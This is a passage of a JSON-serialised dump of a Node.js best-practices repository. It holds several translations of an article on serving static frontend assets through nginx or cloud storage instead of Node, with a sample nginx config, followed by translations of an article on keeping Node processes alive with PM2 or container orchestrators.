    "content": "# Deixe seus recursos de frontend fora do Node\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nEm uma aplicação web clássica, o back-end serve o front-end/gráficos para o navegador, uma abordagem muito comum no mundo do Node é usar o middleware estático do Express para enviar arquivos estáticos para o cliente. MAS - O Node não é um aplicativo  Web típico, pois utiliza um único thread que não é otimizado para servir muitos arquivos de uma só vez. Em vez disso, considere o uso de um proxy reverso (por exemplo, nginx, HAProxy), armazenamento em nuvem ou CDN (por exemplo, AWS S3, Armazenamento de Blobs do Azure etc.) que utiliza muitas otimizações para essa tarefa e obtém uma taxa de transferência muito melhor. Por exemplo, um middleware especializado como o nginx incorpora ganchos diretos entre o sistema de arquivos e a placa de rede e usa uma abordagem multi-thread para minimizar a intervenção entre várias solicitações.\r\n\r\nSua solução ideal pode usar um dos seguintes formulários:\r\n\r\n1. Usando um proxy reverso - seus arquivos estáticos estarão localizados próximos ao seu aplicativo Node, somente os pedidos para a pasta de arquivos estáticos serão servidos por um proxy que fica na frente do seu aplicativo Node, como o nginx. Usando essa abordagem, seu aplicativo Node é responsável por implantar os arquivos estáticos, mas não para atendê-los. O colega do seu frontend vai adorar esta abordagem, pois evita solicitações de origem cruzada do frontend.\r\n\r\n2. Armazenamento em nuvem - seus arquivos estáticos NÃO farão parte do conteúdo do aplicativo Node, eles serão carregados em serviços como o AWS S3, o Azure BlobStorage ou outros serviços semelhantes que nasceram para essa missão. Usando essa abordagem, seu aplicativo Node não é responsável por implantar os arquivos estáticos nem para atendê-los, portanto, um desacoplamento completo é desenhado entre o Node e o Frontend, que é, de qualquer maneira, manipulado por equipes diferentes.\r\n<br/><br/>\r\n\r\n### Exemplo de configuração: configuração típica do nginx para servir arquivos estáticos\r\n\r\n```nginx\r\n# configurar compactação gzip\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# definindo servidor da web\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# lidar com conteúdo estático\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n\r\n>…Em desenvolvimento, você pode usar [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) para servir arquivos estáticos. Mas não faça isso em produção, porque essa função precisa ser lida no sistema de arquivos para cada solicitação de arquivo. Por isso, ela terá latência significativa e afetará o desempenho geral do aplicativo. Note que res.sendFile() não é implementado com a chamada do sistema sendfile, o que tornaria muito mais eficiente. Em vez disso, use o middleware static-service (ou algo equivalente), que é otimizado para servir arquivos para aplicativos Express. Uma opção ainda melhor é usar um proxy reverso para servir arquivos estáticos; consulte Usar um proxy reverso para obter mais informações…\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/frontendout.chinese.md",
    "content": "# 在node外处理您的前端资产\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n在一个经典的 web 应用中，后端返回前端资源/图片给浏览器, 在node的世界，一个非常常见的方法是使用 Express 静态中间件, 以数据流的形式把静态文件返回到客户端。但是, node并不是一个典型的 web应用, 因为它使用单个线程，对于同时服务多个文件，未经过任何优化。相反, 考虑使用反向代理、云存储或 CDN (例如Nginx, AWS S3, Azure Blob 存储等), 对于这项任务, 它们做了很多优化，并获得更好的吞吐量。例如, 像 nginx 这样的专业中间件在文件系统和网卡之间的直接挂钩, 并使用多线程方法来减少多个请求之间的干预。\r\n\r\n您的最佳解决方案可能是以下形式之一:\r\n1. 反向代理 – 您的静态文件将位于您的node应用的旁边, 只有对静态文件文件夹的请求才会由位于您的node应用前面的代理 (如 nginx) 提供服务。使用这种方法, 您的node应用负责部署静态文件, 而不是为它们提供服务。你的前端的同事会喜欢这种方法, 因为它可以防止 cross-origin-requests 的前端请求。\r\n2. 云存储 – 您的静态文件将不会是您的node应用内容的一部分, 他们将被上传到服务, 如 AWS S3, Azure BlobStorage, 或其他类似的服务, 这些服务为这个任务而生。使用这种方法, 您的node应用即不负责部署静态文件, 也不为它们服务, 因此, 在node和前端资源之间完全解耦, 这是由不同的团队处理。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 代码示例: 对于静态文件，典型的nginx配置\r\n\r\n```\r\n# configure gzip compression\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# defining web server\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# handle static content\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 其它博主说了什么\r\n摘自博客 [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n\r\n>…开发模式下, 您可以使用 [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) 服务静态文件. 但是不要在生产中这样做, 因为这个函数为了每个文件请求，必须从文件系统中读取, 因此它会遇到很大的延迟, 并影响应用程序的整体性能。请注意, res.sendFile() 没有用系统调用 sendFile 实现, 这将使它更高效。相反, 使用serve-static中间件 (或类似的东西), 在express应用中服务文件，这是优化了的。更佳的选择是使用反向代理来服务静态文件; 有关详细信息, 请参阅使用反向代理…\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/frontendout.french.md",
    "content": "# Retirez vos ressources frontend de Node\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nDans une application web classique, le backend fournit le frontend/les graphiques au navigateur. Une approche très courante dans le monde de Node consiste à utiliser le middleware statique Express pour transmettre les fichiers statiques au client. MAIS - Node n'est pas une application web classique car il utilise un seul processus qui n'est pas optimisé pour servir plusieurs fichiers à la fois. Il faut plutôt envisager d'utiliser un proxy inverse (par exemple nginx, HAProxy), un stockage dans le cloud ou un CDN (par exemple, AWS S3, Azure Blob Storage, etc.) qui utilisent de nombreuses optimisations pour cette tâche et obtiennent un bien meilleur débit. Par exemple, un middleware spécialisé comme nginx comporte des hooks directs entre le système de fichiers et la carte réseau et utilise une approche multi-processus pour minimiser l'intervention parmi les multiples requêtes.\n\nVotre solution optimale pourrait prendre l'une des formes suivantes :\n\n1. En utilisant un proxy inverse - vos fichiers statiques seront situés juste à côté de votre application Node, seules les requêtes vers le dossier des fichiers statiques seront servies par un proxy qui se trouve devant votre application Node comme nginx. En utilisant cette approche, votre application Node est responsable du déploiement des fichiers statiques mais pas de leur distribution. Le responsable de votre application frontend aimera cette approche car elle permet d'éviter les requêtes d'origine croisée depuis le frontend.\n\n2. Stockage dans le cloud - vos fichiers statiques NE feront PAS partie du contenu de votre application Node, ils seront téléchargés vers des services comme AWS S3, Azure BlobStorage, ou d'autres services similaires qui sont conçus pour cette mission. En utilisant cette approche, votre application Node n'est pas responsable du déploiement des fichiers statiques ni de leur utilisation, d'où un dissociation complète entre Node et le Frontend qui est de toute façon géré par des équipes différentes.\n\n<br/><br/>\n\n### Exemple de configuration : configuration typique de nginx pour servir des fichiers statiques\n\n```nginx\n# configuration de la compression gzip\ngzip on;\nkeepalive 64;\n\n# définition du serveur web\nserver {\nlisten 80;\nlisten 443 ssl;\n\n# gestion du contenu statique\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\nroot /usr/local/silly_face_society/node/public;\naccess_log off;\nexpires max;\n}\n```\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\n\n>…En développement, vous pouvez utiliser [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) pour fournir des fichiers statiques. Mais ne le faites pas en production, car cette fonction doit lire dans le système de fichiers pour chaque requête de fichier, elle rencontrera donc une latence importante et affectera la performance globale de l'application. Remarquez que res.sendFile() n'est pas implémentée avec l'appel système sendfile, ce qui la rendrait bien plus efficace. Utilisez plutôt un middleware de type serveur statique (ou quelque chose d'équivalent), qui est optimisé pour servir des fichiers pour les applications Express. Une option encore meilleure est d'utiliser un proxy inverse pour servir des fichiers statiques; consultez Utiliser un proxy inverse pour plus d'informations…\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/frontendout.japanese.md",
    "content": "# フロントエンドの資産を Node から取り出す\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n古典的なウェブアプリケーションでは、バックエンドはフロントエンドやグラフィックをブラウザに提供します。Node の世界で非常に一般的なアプローチは、クライアントへの静的ファイルのストリーム化のために Express の静的ミドルウェアを使用することです。しかし – Node は、一度に多くのファイルを提供するために最適化されていないシングルスレッドを利用しているため、典型的なウェブアプリではありません。代わりに、リバースプロキシ（nginx、HAProxyなど）、クラウドストレージや CDN（AWS S3、Azure Blob Storage など）を使用して、このタスクのために多くの最適化を利用し、はるかに優れたスループットを得ることを検討してください。例えば、nginx のような特殊なミドルウェアは、ファイルシステムとネットワークカード間のダイレクトフックを具現化し、複数のリクエスト間の介入を最小限に抑えるためにマルチスレッドアプローチを使用しています。\r\n\r\n最適なソリューションは、以下のフォームのいずれかに従っている可能性があります:\r\n\r\n1. リバースプロキシの使用 – 静的ファイルは Node アプリケーションのすぐ隣に配置され、静的ファイルフォルダへのリクエストだけが nginx のような Node アプリケーションの前にあるプロキシによって提供されます。このアプローチを使用すると、Node アプリは静的ファイルをデプロイする責任がありますが、それらを提供する責任はありません。フロントエンドからのクロスオリジンリクエストを防ぐことができるので、フロントエンドの同僚はこのアプローチを気に入るでしょう。\r\n\r\n2. クラウドストレージ – 静的ファイルは Node アプリのコンテンツの一部ではなく、AWS S3、Azure BlobStorage、またはこのミッションのために生まれた他の類似のサービスにアップロードされます。このアプローチを使用すると、Node アプリは静的ファイルをデプロイする責任がなく、静的ファイルを提供する責任もありません。そのため、Node とフロントエンドの間は完全に分離され、異なるチームによって処理されます。\r\n\r\n<br/><br/>\r\n\r\n### 設定例: 静的ファイルを提供するための典型的な nginx の設定\r\n\r\n```nginx\r\n# gzip 圧縮を設定する\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# ウェブサーバを定義する\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# 静的コンテンツを扱う\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\nブログ [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/) より:\r\n\r\n>…開発では、[res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) を使用して静的ファイルを提供することができます。この関数はファイル要求ごとにファイルシステムから読み込まなければならず、大幅な待ち時間が発生し、アプリの全体的なパフォーマンスに影響を与えることになるため、本番環境では行わないでください。res.sendFile() は、より効率的になる sendfile システムコールでは実装されていないことに注意してください。代わりに、Express アプリ用にファイルを提供するために最適化された serve-static ミドルウェア (または同等のもの) を使用してください。さらに良い方法は、静的ファイルを提供するリバースプロキシを使うことです。; 詳細については、リバースプロキシの使用を参照してください。…\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/frontendout.korean.md",
    "content": "# Get your frontend assets out of Node\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIn a classic web app the backend serves the frontend/graphics to the browser, a very common approach in the Node’s world is to use Express static middleware for streamlining static files to the client. BUT – Node is not a typical webapp as it utilizes a single thread that is not optimized to serve many files at once. Instead, consider using a reverse proxy (e.g. nginx, HAProxy), cloud storage or CDN (e.g. AWS S3, Azure Blob Storage, etc) that utilizes many optimizations for this task and gain much better throughput. For example, specialized middleware like nginx embodies direct hooks between the file system and the network card and uses a multi-threaded approach to minimize intervention among multiple requests.\r\n\r\nYour optimal solution might wear one of the following forms:\r\n\r\n1. Using a reverse proxy – your static files will be located right next to your Node application, only requests to the static files folder will be served by a proxy that sits in front of your Node app such as nginx. Using this approach, your Node app is responsible deploying the static files but not to serve them. Your frontend’s colleague will love this approach as it prevents cross-origin-requests from the frontend.\r\n\r\n2. Cloud storage – your static files will NOT be part of your Node app content, they will be uploaded to services like AWS S3, Azure BlobStorage, or other similar services that were born for this mission. Using this approach, your Node app is not responsible deploying the static files neither to serve them, hence a complete decoupling is drawn between Node and the Frontend which is anyway handled by different teams.\r\n\r\n<br/><br/>\r\n\r\n### Configuration example: typical nginx configuration for serving static files\r\n\r\n```nginx\r\n# configure gzip compression\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# defining web server\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# handle static content\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n\r\n>…In development, you can use [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) to serve static files. But don’t do this in production, because this function has to read from the file system for every file request, so it will encounter significant latency and affect the overall performance of the app. Note that res.sendFile() is not implemented with the sendfile system call, which would make it far more efficient. Instead, use serve-static middleware (or something equivalent), that is optimized for serving files for Express apps. An even better option is to use a reverse proxy to serve static files; see Use a reverse proxy for more information…\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/frontendout.md",
    "content": "# Get your frontend assets out of Node\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nIn a classic web app the backend serves the frontend/graphics to the browser, a very common approach in the Node’s world is to use Express static middleware for streamlining static files to the client. BUT – Node is not a typical webapp as it utilizes a single thread that is not optimized to serve many files at once. Instead, consider using a reverse proxy (e.g. nginx, HAProxy), cloud storage or CDN (e.g. AWS S3, Azure Blob Storage, etc) that utilizes many optimizations for this task and gain much better throughput. For example, specialized middleware like nginx embodies direct hooks between the file system and the network card and uses a multi-threaded approach to minimize intervention among multiple requests.\r\n\r\nYour optimal solution might wear one of the following forms:\r\n\r\n1. Using a reverse proxy – your static files will be located right next to your Node application, only requests to the static files folder will be served by a proxy that sits in front of your Node app such as nginx. Using this approach, your Node app is responsible deploying the static files but not to serve them. Your frontend’s colleague will love this approach as it prevents cross-origin-requests from the frontend.\r\n\r\n2. Cloud storage – your static files will NOT be part of your Node app content, they will be uploaded to services like AWS S3, Azure BlobStorage, or other similar services that were born for this mission. Using this approach, your Node app is not responsible deploying the static files neither to serve them, hence a complete decoupling is drawn between Node and the Frontend which is anyway handled by different teams.\r\n\r\n<br/><br/>\r\n\r\n### Configuration example: typical nginx configuration for serving static files\r\n\r\n```nginx\r\n# configure gzip compression\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# defining web server\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# handle static content\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n\r\n>…In development, you can use [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) to serve static files. But don’t do this in production, because this function has to read from the file system for every file request, so it will encounter significant latency and affect the overall performance of the app. Note that res.sendFile() is not implemented with the sendfile system call, which would make it far more efficient. Instead, use serve-static middleware (or something equivalent), that is optimized for serving files for Express apps. An even better option is to use a reverse proxy to serve static files; see Use a reverse proxy for more information…\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/frontendout.polish.md",
    "content": "# Wyciągnij zasoby frontendu z Node'a\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nW klasycznej aplikacji internetowej backend obsługuje frontend / grafikę w przeglądarce, bardzo powszechnym podejściem w świecie Node jest użycie Express'owego oprogramowania pośredniego do usprawnienia plików statycznych w kliencie. ALE - Node nie jest typową aplikacją internetową, ponieważ wykorzystuje pojedynczy wątek, który nie jest zoptymalizowany do obsługi wielu plików jednocześnie. Zamiast tego rozważ użycie reverse-proxy (np. Nginx, HAProxy), magazynu w chmurze lub CDN (np. AWS S3, Azure Blob Storage itp.), który wykorzystuje wiele optymalizacji tego zadania i uzyskuje znacznie lepszą przepustowość. Na przykład specjalistyczne oprogramowanie pośrednie, takie jak nginx, zawiera bezpośrednie przechwytywanie między systemem plików a kartą sieciową i wykorzystuje podejście wielowątkowe, aby zminimalizować interwencję między wieloma żądaniami.\n\nTwoje optymalne rozwiązanie może mieć jedną z następujących postaci:\n\n1. Korzystanie z reverse-proxy - twoje pliki statyczne będą znajdować się tuż obok aplikacji Node, tylko żądania do folderu plików statycznych będą obsługiwane przez proxy, które znajduje się przed aplikacją Node, taką jak nginx. Dzięki takiemu podejściu aplikacja Node jest odpowiedzialna za wdrażanie plików statycznych, ale nie za ich obsługę. Twój kolega z interfejsu użytkownika pokocha to podejście, ponieważ zapobiega ono prośbom o pochodzenie z tego interfejsu.\n\n2. Przechowywanie w chmurze - pliki statyczne NIE będą częścią zawartości aplikacji Node, zostaną przesłane do usług takich jak AWS S3, Azure BlobStorage lub innych podobnych usług, które powstały w ramach tej misji. Korzystając z tego podejścia, twoja aplikacja Node nie jest odpowiedzialna za wdrażanie plików statycznych ani ich obsługę, dlatego następuje całkowite rozdzielenie pomiędzy Node i Frontendem, które i tak jest obsługiwane przez różne zespoły.\n\n<br/><br/>\n\n### Przykład konfiguracji: typowa konfiguracja nginx do obsługi plików statycznych\n\n```nginx\n# configure gzip compression\ngzip on;\nkeepalive 64;\n\n# defining web server\nserver {\nlisten 80;\nlisten 443 ssl;\n\n# handle static content\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\nroot /usr/local/silly_face_society/node/public;\naccess_log off;\nexpires max;\n}\n```\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\nZ bloga [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\n\n>…In development, you can use [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) to serve static files. But don’t do this in production, because this function has to read from the file system for every file request, so it will encounter significant latency and affect the overall performance of the app. Note that res.sendFile() is not implemented with the sendfile system call, which would make it far more efficient. Instead, use serve-static middleware (or something equivalent), that is optimized for serving files for Express apps. An even better option is to use a reverse proxy to serve static files; see Use a reverse proxy for more information…\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/frontendout.russian.md",
    "content": "# Получайте ваши внешние ресурсы вне Node\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nВ классическом веб-приложении серверная часть предоставляет интерфейс/графику браузеру. Очень распространенным подходом в мире Node является использование статического промежуточного программного обеспечения Express для оптимизации статических файлов для клиента. НО - Node не является типичным веб-приложением, поскольку использует один поток, который не оптимизирован для одновременного обслуживания нескольких файлов. Вместо этого рассмотрите возможность использования обратного прокси-сервера (например, nginx, HAProxy), облачного хранилища или CDN (например, AWS S3, хранилища BLOB-объектов Azure и т.д.), который использует множество оптимизаций для этой задачи и обеспечивает гораздо лучшую пропускную способность. Например, специализированное промежуточное программное обеспечение, такое как nginx, воплощает прямые перехватчики между файловой системой и сетевой картой и использует многопоточный подход, чтобы минимизировать вмешательство в множественные запросы.\r\n\r\nВаше оптимальное решение может носить одну из следующих форм:\r\n\r\n1. Используя обратный прокси-сервер - ваши статические файлы будут расположены прямо рядом с вашим приложением Node, только запросы к папке со статическими файлами будут обрабатываться прокси-сервером, который находится перед вашим приложением Node, таким как nginx. Используя этот подход, ваше Node-приложение отвечает за развертывание статических файлов, но не за их обслуживание. Коллеге вашего внешнего интерфейса понравится этот подход, поскольку он предотвращает запросы внешнего происхождения от внешнего интерфейса.\r\n\r\n2. Облачное хранилище - ваши статические файлы НЕ будут частью содержимого приложения Node, они будут загружены в такие сервисы, как AWS S3, Azure BlobStorage или другие подобные сервисы, созданные для этой миссии. Используя этот подход, ваше Node-приложение не несет ответственности за развертывание статических файлов и за их обслуживание, поэтому между Node и Frontend проводится полная развязка, которая в любом случае обрабатывается различными командами.\r\n\r\n<br/><br/>\r\n\r\n### Пример конфигурации: типичная конфигурация nginx для обслуживания статических файлов\r\n\r\n```nginx\r\n# configure gzip compression\r\ngzip on;\r\nkeepalive 64;\r\n\r\n# defining web server\r\nserver {\r\nlisten 80;\r\nlisten 443 ssl;\r\n\r\n# handle static content\r\nlocation ~ ^/(images/|img/|javascript/|js/|css/|stylesheets/|flash/|media/|static/|robots.txt|humans.txt|favicon.ico) {\r\nroot /usr/local/silly_face_society/node/public;\r\naccess_log off;\r\nexpires max;\r\n}\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\nИз блога [StrongLoop](https://strongloop.com/strongblog/best-practices-for-express-in-production-part-two-performance-and-reliability/):\r\n\r\n> … В процессе разработки вы можете использовать [res.sendFile()](http://expressjs.com/4x/api.html#res.sendFile) для обслуживания статических файлов. Но не делайте этого в производственном процессе, потому что эта функция должна считывать данные из файловой системы для каждого запроса файла, поэтому она сталкивается со значительной задержкой и влияет на общую производительность приложения. Обратите внимание, что res.sendFile() не реализован с системным вызовом sendfile, что сделает его гораздо более эффективным. Вместо этого используйте статическое промежуточное программное обеспечение (или что-то подобное), оптимизированное для обслуживания файлов для приложений Express. Еще лучшим вариантом является использование обратного прокси-сервера для обслуживания статических файлов; см. Использование обратного прокси-сервера для получения дополнительной информации ...\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/guardprocess.basque.md",
    "content": "# Babestu eta berrabiarazi zure prozesua huts egitean (tresna egokiak erabiliz)\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nOinarrizko mailan, Node prozesuak babestu eta berrabiarazi behar dira hutsegiteak gertatzen direnean. Hitz gutxitan, aplikazio txikientzat eta edukiontzirik erabiltzen ez dutenentzat, [PM2](https://www.npmjs.com/package/pm2-docker) bezalako tresnak ezin hobeak dira sinpletasuna, berrabiarazteko gaitasunak eta Noderekin integrazio aberatsa ere eskaintzen baitute. Linuxekin ondo moldatzen direnek systemd erabil dezakete eta Node zerbitzu gisa exekutatu. Askoz errazagoa da Docker edo edozein edukiontzi teknologia erabiltzen duten aplikazioen egoera, izan ere, eskuarki klusterrak antolatu eta kudeatzeko tresnak izaten dituzte (adibidez, [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [Kubernetes](https://kubernetes.io/), etab.), edukiontziak inplementatu, kontrolatu eta konpontzen dituztenak. Klusterrak kudeatzeko tresna baliagarri horiek guztiak edukita (edukiontziak berrabiaraztekoak barne), zergatik korapilatu PM2 bezalako beste tresna batzuekin? Ez dago erabateko irtenbiderik eskaintzen duen erantzunik. Badira pisuzko arrazoiak PM2 edukiontzien barruan mantentzeko lehen mailako babesgarri gisa (batez ere bere [pm2-docker](https://www.npmjs.com/package/pm2-docker) bertsioa, berariaz edukiontzientzat prestatua): askoz ere bizkorragoa da prozesua berrabiaraztea, eta Noderen ezaugarri zehatzak eskaintzea, hala nola, kodea markatzea, ostatatzeko edukiontziak hala eskatzen duenean. Beste batzuek beharrezkoak ez diren geruzak ekiditea aukeratu dezakete. Amaitzeko, ez dago guztientzako moduko irtenbiderik, eta garrantzitsuena da zer aukera dauden jakitea.\r\n\r\n<br/><br/>\r\n\r\n### Beste blogari batzuek diotena\r\n\r\n- [Express Produkzioaren Praktika Onak](https://expressjs.com/en/advanced/best-practice-performance.html): bloga:\r\n\r\n> ... Garapenean, zure aplikazioa komando lerrotik hasi zenuen node server.js edo antzeko zerbait erabiliz. **Baina hori bera ekoizpenean egitea hondamendiaren errezeta da. Aplikazioak huts egiten badu, lineaz kanpo egongo da** berrabiarazi arte. Aplikazioak huts egiten badu berrabiarazten dela ziurtatzeko, erabili prozesu kudeatzailea. Prozesuen kudeatzailea inplementazioa errazten duen, erabilgarritasun handia eskaintzen duen eta aplikazioa exekuzio garaian kudeatzeko aukera ematen duen \"edukiontzia\" da.\r\n\r\n- Medium blogeko [Noderen klusterrak ulertzea](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3) artikulua:\r\n\r\n> ... Oso garrantzitsua da Node.js Clustering Docker-Land ulertzea. “Docker edukiontziak ingurune birtual arinak eta errazak dira, prozesuak ahalik eta gehien sinplifikatzeko diseinatuak. Baliabide propioak kudeatu eta koordinatzen dituzten prozesuak jada ez dira hain baliotsuak. **Gaur egun, ordea, Kubernetes, Mesos eta Cattle bezalako kudeaketa pilek aldarrikatzen dute baliabide horiek guztiak azpiegitura osoan kudeatu behar direla**. \"Antolatzaileek\" esleitzen dituzte PUZeko eta memoriako baliabideak; eta sareko baliabideak, pilak emandako karga orekatzaileek.\r\n"
  },
  {
    "path": "sections/production/guardprocess.brazilian-portuguese.md",
    "content": "# Poupe tempo de atividade do processo usando a ferramenta certa\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nNo nível base, os processos do Node devem ser protegidos e reiniciados após falhas. Simplificando, para aplicativos pequenos e para aqueles que não usam contêineres - ferramentas como [PM2](https://www.npmjs.com/package/pm2-docker) são perfeitas, pois trazem simplicidade, reiniciando recursos e também uma rica integração com o Node. Outros com fortes habilidades em Linux podem usar o systemd e executar o Node como um serviço. As coisas ficam mais interessantes para aplicativos que usam o Docker ou qualquer outra tecnologia de contêineres, pois geralmente são acompanhados por ferramentas de gerenciamento e orquestração de clusters (por exemplo, [AWS ECS](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome)), [Kubernetes](https://kubernetes.io/), etc) que implantam, monitoram e curam contêineres. Com todos esses recursos avançados de gerenciamento de cluster, incluindo reinício do contêiner, por que mexer com outras ferramentas como o PM2? Não há resposta à prova de balas. Há boas razões para manter o PM2 dentro de contêineres (principalmente a versão específica de contêineres [pm2-docker](https://www.npmjs.com/package/pm2-docker)) como o primeiro nível de proteção - é muito mais rápido reiniciar um processe e fornecer recursos específicos do Node, como sinalizar ao código quando o contêiner de hospedagem solicitar a reinicialização normal. Outros podem optar por evitar camadas desnecessárias. Para concluir este artigo, nenhuma solução serve para todos eles e conhecer as opções é o mais importante.\r\n\r\n<br/><br/>\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\n* De [Boas Práticas em Produção do Express](https://expressjs.com/en/advanced/best-practice-performance.html):\r\n> ... Em desenvolvimento, você iniciou sua aplicação simplesmente a partir da linha de comando com o node server.js ou algo semelhante. **Mas fazer isso na produção é uma receita para o desastre. Se o aplicativo falhar, ficará off-line** até que você reinicie. Para garantir que sua aplicação seja reiniciada se ela falhar, use um gerenciador de processos. Um gerenciador de processos é um “contêiner” para aplicativos que facilitam a implementação, fornece alta disponibilidade e permite gerenciar o aplicativo em tempo de execução.\r\n\r\n* De um post no blog Medium [Understanding Node Clustering](https://medium.com/@CodeAndBiscuits/understanding-nodejs-clustering-in-docker-land-64ce2306afef#.cssigr5z3):\r\n> ... Entendendo o Cluster de Node.js no Docker “Os contêineres do Docker são ambientes virtuais simplificados e leves, projetados para simplificar os processos ao mínimo necessário. Processos que gerenciam e coordenam seus próprios recursos não são mais valiosos. **Em vez disso, as empresas de gerenciamento, como Kubernetes, Mesos e Gado, popularizaram o conceito de que esses recursos devem ser gerenciados em toda a infraestrutura.** Os recursos de CPU e memória são alocados por \"agendadores\" e os recursos de rede são gerenciados por balanceadores de carga fornecidos pelo stack.\r\n"
  },
  {
    "path": "sections/production/guardprocess.chinese.md",
